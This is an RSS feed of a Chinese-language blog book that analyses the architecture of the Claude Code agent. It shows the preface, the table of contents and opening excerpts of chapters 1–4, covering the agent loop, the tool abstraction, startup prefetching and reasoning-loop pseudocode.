<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>算法思想 on Last Stand</title><link>https://amatsuzero.github.io/LastStand/tags/%E7%AE%97%E6%B3%95%E6%80%9D%E6%83%B3/</link><description>Recent content in 算法思想 on Last Stand</description><generator>Hugo</generator><language>zh-cn</language><lastBuildDate>Tue, 09 Jun 2026 00:00:00 +0800</lastBuildDate><atom:link href="https://amatsuzero.github.io/LastStand/tags/%E7%AE%97%E6%B3%95%E6%80%9D%E6%83%B3/index.xml" rel="self" type="application/rss+xml"/><item><title>前言</title><link>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/preface/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/preface/</guid><description>&lt;h2 id="为什么写这本书"&gt;为什么写这本书&lt;/h2&gt;
&lt;p&gt;2024 年至 2025 年，软件工程领域发生了一场静默而深刻的范式转移。大语言模型不再仅仅是&amp;quot;聊天机器人&amp;quot;或&amp;quot;代码补全引擎&amp;quot;——它们开始以 Agent 的形态，真正参与到软件开发的完整生命周期中。编写代码、阅读文件、执行命令、做出判断、协调子任务——这些曾经只属于人类程序员的能力，如今正在被算法重新定义。&lt;/p&gt;
&lt;p&gt;在众多 Agent 应用中，Anthropic 开源的 Claude Code 无疑是标杆级的存在。它不是一个简单的 CLI 工具，而是一个完整的 Agent 运行时系统——拥有推理循环、工具调度、权限决策、多 Agent 协调、MCP 协议通信、钩子管线、容错恢复等一整套精密的算法体系。当我深入阅读它近 5000 行的主入口文件 &lt;code&gt;main.tsx&lt;/code&gt;、数十个工具实现、完整的权限分类器、以及多层状态管理架构时，我意识到：这不仅仅是一个产品，更是一部关于&amp;quot;如何构建生产级 AI Agent&amp;quot;的算法教科书。&lt;/p&gt;
&lt;p&gt;然而，源码是沉默的。它不会主动告诉你为什么要在启动阶段并行预取 keychain 凭证和 MDM 配置，不会解释推理循环中工具调用与权限校验的微妙时序，也不会阐述多 Agent 协调时状态快照与消息传递的设计权衡。这些隐藏在代码背后的算法思想，才是最有价值的知识——而这正是本书试图揭示的。&lt;/p&gt;
&lt;p&gt;我写这本书，是因为我相信：&lt;strong&gt;理解一个伟大系统的算法思想，远比学会使用它更重要。&lt;/strong&gt; 当你真正理解了 Claude Code 背后的设计哲学，你将具备构建任何 Agent 系统的能力。&lt;/p&gt;
&lt;h2 id="这本书为谁而写"&gt;这本书为谁而写&lt;/h2&gt;
&lt;p&gt;本书的理想读者是具备一定编程基础的中级开发者、正在或即将投身 AI Agent 领域的工程师，以及所有对&amp;quot;Agent 到底是如何工作的&amp;quot;怀有好奇心的技术人。&lt;/p&gt;
&lt;p&gt;你不需要精通 TypeScript 或 React——本书聚焦的是算法思想和架构模式，而非语言细节。但你需要理解基本的编程概念：函数、状态、异步、事件循环。如果你曾经构建过任何形式的软件系统，你就已经具备了阅读本书所需的全部背景。&lt;/p&gt;
&lt;p&gt;具体而言：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;应用开发者&lt;/strong&gt;将学会如何将 Agent 的思维方式融入自己的产品；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI 工程师&lt;/strong&gt;将获得一套经过生产验证的 Agent 架构参考；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;系统架构师&lt;/strong&gt;将看到如何在安全性、性能、可扩展性之间做出精妙的平衡；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技术管理者&lt;/strong&gt;将理解 Agent 系统的复杂性本质，从而做出更好的技术决策。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="如何阅读本书"&gt;如何阅读本书&lt;/h2&gt;
&lt;p&gt;本书分为四个部分，呈递进关系：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一部分&amp;quot;Agent 思想基础&amp;quot;&lt;/strong&gt;，建立认知框架。我们从 Agent 的本质出发，理解它与传统程序的根本差异，然后深入 Claude Code 的对象模型和启动算法，建立对整个系统的宏观认知。这是后续一切讨论的基石。&lt;/p&gt;</description></item><item><title>《解构 Claude Code：AI Agent 的算法思想》</title><link>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/overview/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/overview/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;理解一个伟大系统的算法思想，远比学会使用它更重要。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本仓库包含一本完整的技术书籍（16 章 + 前言），从 Claude Code 近 5000 行的主入口文件和数十个模块中提炼算法思想，以&lt;strong&gt;思想驱动、源码印证&lt;/strong&gt;的方法论，系统讲解如何构建生产级 AI Agent。&lt;/p&gt;
&lt;h3 id="适合读者"&gt;适合读者&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;应用开发者&lt;/strong&gt; — 学会将 Agent 思维方式融入产品&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI 工程师&lt;/strong&gt; — 获得经过生产验证的 Agent 架构参考&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;系统架构师&lt;/strong&gt; — 理解安全性、性能、可扩展性之间的精妙平衡&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技术管理者&lt;/strong&gt; — 理解 Agent 系统的复杂性本质&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="全书目录"&gt;全书目录&lt;/h3&gt;
&lt;details open&gt;
&lt;summary&gt;&lt;b&gt;第一部分：Agent 思想基础&lt;/b&gt;&lt;/summary&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;章节&lt;/th&gt;
&lt;th&gt;主题&lt;/th&gt;
&lt;th&gt;核心内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="../chapter-01/"&gt;第 1 章&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Agent 的本质&lt;/td&gt;
&lt;td&gt;从程序到 Agent 的范式跃迁；感知-推理-行动循环&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="../chapter-02/"&gt;第 2 章&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Agent 的骨架：对象模型&lt;/td&gt;
&lt;td&gt;Tool、Message、AppState、QueryEngine 核心对象图&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="../chapter-03/"&gt;第 3 章&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;启动算法与生命周期管理&lt;/td&gt;
&lt;td&gt;135ms 冷启动、并行预取、分阶段初始化、优雅退出&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/details&gt;
&lt;details open&gt;
&lt;summary&gt;&lt;b&gt;第二部分：Agent 核心算法&lt;/b&gt;&lt;/summary&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;章节&lt;/th&gt;
&lt;th&gt;主题&lt;/th&gt;
&lt;th&gt;核心内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="../chapter-04/"&gt;第 4 章&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;推理循环算法&lt;/td&gt;
&lt;td&gt;QueryEngine 解析、Token 预算、上下文压缩、停止条件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="../chapter-05/"&gt;第 5 章&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;工具调度算法&lt;/td&gt;
&lt;td&gt;BashTool/FileEditTool/AgentTool 深度解析、反馈闭环&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="../chapter-06/"&gt;第 6 章&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;权限决策算法&lt;/td&gt;
&lt;td&gt;分类器架构、危险模式检测、路径验证、拒绝追踪&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="../chapter-07/"&gt;第 7 章&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;状态管理算法&lt;/td&gt;
&lt;td&gt;响应式 Store、会话持久化、对话恢复、上下文压缩&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/details&gt;
&lt;details open&gt;
&lt;summary&gt;&lt;b&gt;第三部分：多 Agent 与协议&lt;/b&gt;&lt;/summary&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;章节&lt;/th&gt;
&lt;th&gt;主题&lt;/th&gt;
&lt;th&gt;核心内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="../chapter-08/"&gt;第 8 章&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;多 Agent 协调算法&lt;/td&gt;
&lt;td&gt;Swarm 架构、Coordinator 模式、Teammate 机制、容错重连&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="../chapter-09/"&gt;第 9 章&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;MCP 协议与通信算法&lt;/td&gt;
&lt;td&gt;客户端实现、传输层抽象、OAuth 认证、服务发现&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="../chapter-10/"&gt;第 10 章&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;钩子与中间件管线&lt;/td&gt;
&lt;td&gt;钩子事件体系、插件系统、技能框架、热更新&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="../chapter-11/"&gt;第 11 章&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;安全深度防御算法&lt;/td&gt;
&lt;td&gt;沙箱隔离、路径安全、信任链、策略限制、审计追溯&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/details&gt;
&lt;details open&gt;
&lt;summary&gt;&lt;b&gt;第四部分：工程算法与实践&lt;/b&gt;&lt;/summary&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;章节&lt;/th&gt;
&lt;th&gt;主题&lt;/th&gt;
&lt;th&gt;核心内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="../chapter-12/"&gt;第 12 章&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;性能优化算法&lt;/td&gt;
&lt;td&gt;启动性能度量、并行预取、缓存策略、Prompt Cache 保护&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="../chapter-13/"&gt;第 13 章&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;容错与恢复算法&lt;/td&gt;
&lt;td&gt;优雅关闭、会话恢复、错误分类、速率限制退避&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="../chapter-14/"&gt;第 14 章&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;扩展性架构算法&lt;/td&gt;
&lt;td&gt;插件架构、技能框架、LSP/IDE 集成、远程模式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="../chapter-15/"&gt;第 15 章&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;从算法到实践：构建你的 Agent&lt;/td&gt;
&lt;td&gt;最小可行 Agent → 逐步叠加能力层的完整路线图&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="../chapter-16/"&gt;第 16 章&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Agent 算法思想的升华&lt;/td&gt;
&lt;td&gt;核心算法模式回顾、第一性原理、演进方向&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/details&gt;
&lt;h3 id="推荐阅读路径"&gt;推荐阅读路径&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;快速路径&lt;/strong&gt;（时间有限）：第 1 章 → 第 4 章 → 第 5 章 → 第 6 章 → 第 15 章&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;完整路径&lt;/strong&gt;：按章节顺序阅读，每一章都建立在前一章的基础之上&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>第1章 Agent 的本质</title><link>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-01/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-01/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;任何足够先进的技术都与魔法无异。&amp;rdquo; —— 阿瑟·克拉克&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;当你在终端中输入 &lt;code&gt;claude &amp;quot;帮我重构这个函数&amp;quot;&lt;/code&gt;，然后看着屏幕上的文字流动——它读取文件、思考方案、编辑代码、运行测试、发现错误、再次修改——这一切看似自然，却隐含着一个深刻的架构问题：这个程序，究竟是什么？&lt;/p&gt;
&lt;p&gt;它不是传统意义上的 CLI 工具。&lt;code&gt;grep&lt;/code&gt; 不会在搜索失败后决定换一个关键词再试；&lt;code&gt;sed&lt;/code&gt; 不会在替换出错后自行回退并尝试另一种方案。Claude Code 做的事情本质上不同——它在&lt;strong&gt;循环中推理&lt;/strong&gt;，在&lt;strong&gt;不确定性中决策&lt;/strong&gt;，在&lt;strong&gt;反馈中调整行为&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;这就是 Agent。&lt;/p&gt;
&lt;h2 id="11-当我们说ai-agent时我们在说什么"&gt;1.1 当我们说&amp;quot;AI Agent&amp;quot;时，我们在说什么&lt;/h2&gt;
&lt;h3 id="传统-cli-工具确定性的管道"&gt;传统 CLI 工具：确定性的管道&lt;/h3&gt;
&lt;p&gt;Unix 哲学塑造了我们对命令行工具的基本认知：一个程序接受输入，执行固定的计算，产生输出。整个过程是&lt;strong&gt;确定性&lt;/strong&gt;的——相同的输入必然产生相同的输出，执行路径在编写代码时就已完全确定。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;输入 → 固定算法 → 输出
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这是一种&lt;strong&gt;开环系统&lt;/strong&gt;（Open-loop System）。程序不观察自己行为的后果，不根据执行结果调整策略。&lt;code&gt;rm -rf&lt;/code&gt; 不会在删除一半文件后想：&amp;ldquo;也许我该先备份。&amp;rdquo;&lt;/p&gt;
&lt;h3 id="ai-agent不确定性中的自主决策者"&gt;AI Agent：不确定性中的自主决策者&lt;/h3&gt;
&lt;p&gt;Agent 的本质区别在于引入了一个&lt;strong&gt;闭环&lt;/strong&gt;：它的输出会变成下一步决策的输入。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;输入 → 推理 → 行动 → 观察结果 → 推理 → 行动 → ... → 最终输出
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个循环有三个关键特征：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;行为不可完全预测&lt;/strong&gt;。同样的用户请求，Agent 可能选择不同的工具组合、不同的执行顺序。这不是缺陷，而是面对复杂任务时的合理应对——正如同一位程序员面对相同需求，每次编码过程也不会完全一致。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;执行路径由运行时决定&lt;/strong&gt;。传统程序的控制流在编译时已知；Agent 的控制流在运行时由 LLM 动态生成。每一次工具调用都是 LLM 基于当前上下文做出的决策，而非预编程的固定序列。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;具备反馈修正能力&lt;/strong&gt;。当一个工具调用失败（文件不存在、命令报错、测试不通过），Agent 能够观察错误信息，推理失败原因，并调整后续行为。这种闭环反馈机制是 Agent 与简单的&amp;quot;LLM + 工具调用&amp;quot;之间的本质分水岭。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="为什么-claude-code-选择-agent-架构"&gt;为什么 Claude Code 选择 Agent 架构&lt;/h3&gt;
&lt;p&gt;软件工程任务天然适合 Agent 架构，原因在于&lt;strong&gt;任务分解的不确定性&lt;/strong&gt;。&lt;/p&gt;</description></item><item><title>第2章 Agent 的骨架：对象模型</title><link>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-02/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-02/</guid><description>&lt;h2 id="21-问题引入如何让-agent-拥有手脚"&gt;2.1 问题引入：如何让 Agent 拥有&amp;quot;手脚&amp;quot;&lt;/h2&gt;
&lt;p&gt;一个纯粹的大语言模型（LLM），无论多么聪明，都只是一颗&amp;quot;大脑&amp;quot;——它能思考、推理、生成文本，却无法触及真实世界。它读不了磁盘上的文件，执不了终端里的命令，搜不了代码库中的符号。要将这颗大脑变成一个真正能解决问题的 Agent，就必须为它接上&amp;quot;手脚&amp;quot;——一套能够操作外部世界的能力体系。&lt;/p&gt;
&lt;p&gt;这套能力体系在 Claude Code 中被称为&lt;strong&gt;工具（Tool）&lt;/strong&gt;。截至当前版本，Claude Code 内建了约 45 种工具，涵盖以下截然不同的能力域：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;能力域&lt;/th&gt;
&lt;th&gt;代表性工具&lt;/th&gt;
&lt;th&gt;特征&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;文件操作&lt;/td&gt;
&lt;td&gt;FileReadTool、FileEditTool、FileWriteTool&lt;/td&gt;
&lt;td&gt;输入为文件路径，输出为文件内容或操作状态&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Shell 执行&lt;/td&gt;
&lt;td&gt;BashTool、PowerShellTool&lt;/td&gt;
&lt;td&gt;输入为命令字符串，输出为标准输出流&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;代码搜索&lt;/td&gt;
&lt;td&gt;GrepTool、GlobTool&lt;/td&gt;
&lt;td&gt;输入为正则/通配模式，输出为匹配结果集&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;网络访问&lt;/td&gt;
&lt;td&gt;WebFetchTool、WebSearchTool&lt;/td&gt;
&lt;td&gt;输入为 URL 或查询词，输出为网页内容&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Agent 派生&lt;/td&gt;
&lt;td&gt;AgentTool&lt;/td&gt;
&lt;td&gt;输入为任务描述，输出为子 Agent 的执行结果&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;外部协议&lt;/td&gt;
&lt;td&gt;MCPTool&lt;/td&gt;
&lt;td&gt;输入完全由外部服务器定义，输出格式未知&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;用户交互&lt;/td&gt;
&lt;td&gt;AskUserQuestionTool&lt;/td&gt;
&lt;td&gt;输入为问题文本，输出取决于用户回答&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;问题的核心在于：这些工具的输入结构不同（有的是文件路径，有的是 Shell 命令，有的是完全开放的 JSON）、输出类型不同（有的返回纯文本，有的返回二进制图像，有的返回结构化对象）、执行语义不同（有的只读、有的破坏性写入、有的会派生出新的 Agent 循环）、安全要求不同（有的需要沙箱隔离，有的需要用户授权，有的可以自由执行）。&lt;/p&gt;
&lt;p&gt;然而，从调用方——也就是 Agent 主循环——的视角来看，它不关心这些差异。主循环的逻辑永远是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;收到 LLM 的工具调用请求 → 找到对应工具 → 验证输入 → 检查权限 → 执行 → 返回结果
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这就是本章要探讨的核心设计问题：&lt;strong&gt;如何构建一个统一的工具抽象，使得 45 种截然不同的能力共享同一套接口，让调用方的代码在工具数量翻倍时依然一行不改？&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="22-算法思想工具多态的四重设计"&gt;2.2 算法思想：工具多态的四重设计&lt;/h2&gt;
&lt;h3 id="221-接口不变性原则"&gt;2.2.1 接口不变性原则&lt;/h3&gt;
&lt;p&gt;在软件工程中，接口不变性（Interface Invariance）是多态设计的基石。其核心命题是：&lt;/p&gt;</description></item><item><title>第3章 启动算法与生命周期管理</title><link>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-03/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-03/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;一个系统的工程成熟度，不在于它能做什么，而在于它多快准备好做什么，以及它如何在做完之后优雅地离开。&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="31-问题引入亚秒级启动的挑战"&gt;3.1 问题引入：亚秒级启动的挑战&lt;/h2&gt;
&lt;p&gt;想象这样一个系统：它拥有 45 个以上的内置工具、上百个 CLI 命令选项、数十个服务模块，还要在启动时读取操作系统钥匙串、解析 MDM 企业管理策略、连接 MCP 外部服务器、加载插件与技能系统、执行数据迁移、初始化遥测与分析管道——然后在用户敲下回车后的 900 毫秒内完成首次渲染。&lt;/p&gt;
&lt;p&gt;这不是理论问题，而是 Claude Code 每次启动时面临的真实挑战。&lt;/p&gt;
&lt;p&gt;传统做法是串行初始化：读取配置 → 验证权限 → 加载模块 → 渲染界面。但这种线性流水线在模块数量膨胀后迅速成为瓶颈。假设有 N 个初始化任务，每个平均耗时 t_i，串行总时间为 T_serial = sum(t_i)。当 N 超过 30、且部分任务涉及子进程 spawn 或网络 I/O 时，T_serial 轻松突破数秒。&lt;/p&gt;
&lt;p&gt;Claude Code 的回答是一套精心编排的&lt;strong&gt;并行预取 + 延迟初始化 + 依赖拓扑排序&lt;/strong&gt;算法。本章将从源码中提取这些算法思想，揭示如何在有限时间内完成复杂的启动序列，以及如何在生命终结时优雅退场。&lt;/p&gt;
&lt;h2 id="32-并行预取算法与模块加载赛跑"&gt;3.2 并行预取算法：与模块加载赛跑&lt;/h2&gt;
&lt;h3 id="321-核心洞察子进程-spawn-与-import-的时间重叠"&gt;3.2.1 核心洞察：子进程 spawn 与 import 的时间重叠&lt;/h3&gt;
&lt;p&gt;Claude Code 启动的第一个算法洞察是：&lt;strong&gt;JavaScript 模块的 import 求值是 CPU 密集型的同步操作，而子进程 spawn 是异步 I/O 操作——两者可以完美重叠&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;打开 &lt;code&gt;main.tsx&lt;/code&gt; 的前 20 行，你会看到一段精心安排的代码序列：&lt;/p&gt;</description></item><item><title>第4章 推理循环算法</title><link>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-04/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-04/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Intelligence is not a single act, but an iterated loop of perception, reasoning, and action.&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="41-问题引入agent-的心跳"&gt;4.1 问题引入：Agent 的心跳&lt;/h2&gt;
&lt;p&gt;当用户在终端输入一行自然语言指令——比如&amp;quot;帮我把这个函数重构成两个&amp;quot;——背后发生的事情远比想象中复杂。Claude Code 不会仅仅调用一次大语言模型就给出答案。相反，它启动了一个&lt;strong&gt;推理循环&lt;/strong&gt;（Reasoning Loop）：先理解任务，再决定调用哪个工具，然后执行工具、观察结果，之后再次推理——如此反复，直到任务完成。&lt;/p&gt;
&lt;p&gt;这个循环就像 Agent 的心跳。每一次搏动，Agent 都在感知世界（读取工具执行结果）、思考对策（调用 LLM）、采取行动（调用工具）。心跳停止，Agent 停止。心跳失控，Agent 陷入死循环。如何设计这个循环，使其既足够灵活以应对任意复杂的任务，又足够可控以避免失控和资源浪费——这是 Agent 系统最核心的工程挑战。&lt;/p&gt;
&lt;p&gt;在 Claude Code 的源码中，这个推理循环分布在两个关键模块中：&lt;strong&gt;QueryEngine&lt;/strong&gt;（&lt;code&gt;src/QueryEngine.ts&lt;/code&gt;）负责会话级别的生命周期管理，包括用户输入处理、系统提示词构建、会话持久化等；&lt;strong&gt;query&lt;/strong&gt;（&lt;code&gt;src/query.ts&lt;/code&gt;）负责核心推理循环的实际执行，包括 LLM 调用、工具执行、上下文压缩、异常恢复等。两者的关系可以类比为操作系统中的&lt;strong&gt;进程管理器&lt;/strong&gt;与&lt;strong&gt;CPU 调度器&lt;/strong&gt;——前者管理进程的创建和资源分配，后者决定每个时间片做什么。&lt;/p&gt;
&lt;p&gt;本章将深入解析这一核心循环的算法设计。&lt;/p&gt;
&lt;h2 id="42-算法思想"&gt;4.2 算法思想&lt;/h2&gt;
&lt;h3 id="421-核心-loop-算法永动的推理引擎"&gt;4.2.1 核心 Loop 算法：永动的推理引擎&lt;/h3&gt;
&lt;p&gt;推理循环的基本骨架是一个 &lt;code&gt;while(true)&lt;/code&gt; 无限循环。乍看之下这似乎很原始，但其精妙之处在于&lt;strong&gt;退出条件的分布式设计&lt;/strong&gt;——循环体内有多个出口，每个出口对应一种终止语义。&lt;/p&gt;
&lt;p&gt;让我们先看最精简的算法骨架：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;算法&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：推理循环核心骨架&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;function queryLoop(params):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; state &lt;span style="color:#960050;background-color:#1e0010"&gt;←&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;初始化&lt;/span&gt;(params)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; true:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;阶段&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：准备&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; messagesForQuery &lt;span style="color:#960050;background-color:#1e0010"&gt;←&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;预处理消息&lt;/span&gt;(state&lt;span style="color:#f92672"&gt;.&lt;/span&gt;messages)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; messagesForQuery &lt;span style="color:#960050;background-color:#1e0010"&gt;←&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;自动压缩&lt;/span&gt;IfNeeded(messagesForQuery)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
